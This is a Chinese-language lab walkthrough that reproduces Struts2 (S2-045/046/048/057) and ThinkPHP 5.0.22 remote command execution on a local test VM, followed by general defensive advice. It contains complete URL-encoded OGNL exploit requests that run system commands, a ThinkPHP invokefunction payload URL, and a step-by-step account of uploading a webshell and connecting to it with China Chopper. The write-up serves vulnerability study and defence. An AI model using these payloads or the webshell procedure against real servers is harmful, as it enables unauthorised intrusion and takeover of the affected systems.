Struts2框架命令执行漏洞
环境准备:虚拟机win2003 jspstudy2016 Struts Showcase靶场环境
查看历史相关漏洞在线平台
:
乌云(WooYun.org)历史漏洞查询:
https://wy.zone.ci/searchbug.php?q=Struts2
知道创宇 Seebug 漏洞平台:
https://www.seebug.org/search/?keywords=struts2
漏洞扫描
利用struts2漏洞检测工具对 Struts Showcase 靶场进行扫描:
http://10.0.0.101:90/struts2-showcase/showcase.action
(在线工具包)
Struts Showcase 靶场发现以下漏洞:
POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200
POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200
POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200
POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200
POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200
POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200
POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200
POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200
S2-045漏洞利用过程
扫描漏洞:利用工具【在线工具包-漏洞利用-struts2漏洞检查】 可以执行系统命令:(创建账户等) 漏洞利用:上传带上传功能的小马到目标主机,网页访问执行小马文件,菜刀马代码上传到小马上提交,用中国菜刀远程连接。
利用S2-045漏洞上传带上传功能的小马到目标主机:(直接上传菜刀马尝试失败)
目标地址:c:\\jspstudy\\www\\lan.jsp
\\双斜杠防止被转义
小马上传成功:
阅览器访问小马,成功访问:
http://10.0.0.101:8080/lan.jsp
加载打开带有上传功能小马文件,把菜刀马代码写到小马里进行上传。
http://10.0.0.101:8080/lan.jsp --根目录下lan.jsp文件(c:\jspstudy\www\lan.jsp)
小马里填写:
--Target File Path:
C:\JspStudy\WWW\muma.jsp
--Target File Content:
菜刀马代码内容
submit提交
菜刀马上传成功:
打开中国菜刀软件远程连接目标主机:
http://10.0.0.101:8080/muma.jsp
连接成功
S2-048漏洞利用过程
漏洞位置:http://10.0.0.101:8080/struts2-showcase/integration/saveGangster.action 利用【音速软件-抓包改包-WSExplorer(岁月联盟)】进程抓包。 打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程。
POST /struts2-showcase/showcase.action HTTP/1.1 Host:10.0.0.101:8080 Accept-Language: zh_CN User-Agent: Auto Spider 1.0 Accept-Encoding: gzip, deflate Connection: close Content-Length: 1119 Content-Type: application/x-www-form-urlencoded name=%25%7b(%23test%3d%27multipart%2fform-data%27).(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest()).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.setContentType(%27text%2fhtml%3bcharset%3dUTF-8%27)).(%23res.getWriter().print(%27start%3a%27)).(%23s%3dnew+java.util.Scanner((new+java.lang.ProcessBuilder(%27whoami%27.toString().split(%27%5c%5cs%27))).start().getInputStream()).useDelimiter(%27%5c%5cAAAA%27)).(%23str%3d%23s.hasNext()%3f%23s.next()%3a%27%27).(%23res.getWriter().print(%23str)).(%23res.getWriter().print(%27%3aend%27)).(%23res.getWriter().flush()).(%23res.getWriter().close()).(%23s.close())%7d&age=a&__checkbox_bustedBefore=true&description=s
S2-057漏洞复现
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符* 最后把type="chain"改成type="redirectAction"
打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程
POST /struts2-showcase//%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d/actionChain1.action HTTP/1.1
Host:10.0.0.101:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
--struts2攻击特征(关键字):
--java唯一代码函数:getRuntime().exec
--apache.struts2
--看扩展名xxx.action / .do
Thinkphp命令执行
环境准备: 虚拟机win2003 phpstudy thinkphp_5.0.22靶场
http://10.0.0.101:90/thinkphp/public/index.php
Thinkphp框架
漏洞复现
在url输出关于PHP 配置的信息:
http://10.0.0.101:90/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
参考网站:https://blog.csdn.net/weixin_44862511/article/details/132132998
可利用在线工具包-综合利用工具
命令执行漏洞的安全防范涉及多个层面,包括设计、编码、测试和运维。以下是关键的防范措施:
-
输入验证 (Input Validation):
- 对所有用户输入进行严格的验证,确保输入的数据类型、长度和内容符合预期。
- 使用预定义的白名单列表限制可接受的字符或值。
- 避免使用可能导致命令注入的动态命令构造,如拼接字符串生成命令。
-
参数化查询或预编译语句:
- 在处理数据库查询时,使用参数化查询或预编译语句,防止SQL注入式地转化为命令执行。
-
最小权限原则:
- 应用程序和服务应以尽可能低的权限运行,避免使用管理员权限,减少潜在损害。
-
使用安全的库和框架:
- 选择经过充分测试、有良好安全记录的库和框架,它们可能已经内置了防止命令执行的防护措施。
-
代码审查:
- 定期进行代码审查,查找可能的命令注入点和不安全的代码实践。
-
沙箱环境:
- 对于必须执行外部命令的情况,使用沙箱环境限制其执行权限和资源访问。
-
日志监控和入侵检测系统:
- 实施日志记录和分析,以便在异常活动发生时能及时发现。
- 使用入侵检测系统(IDS)或入侵防御系统(IPS)来检测和阻止潜在的攻击。
-
安全配置:
- 确保操作系统和其他服务配置正确,关闭不必要的端口和服务,减少攻击面。
-
持续更新和打补丁:
- 及时安装软件更新和安全补丁,以修复已知的漏洞。
-
安全编码最佳实践:
- 遵循OWASP(开放网络应用安全项目)等组织提供的安全编码指南。
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。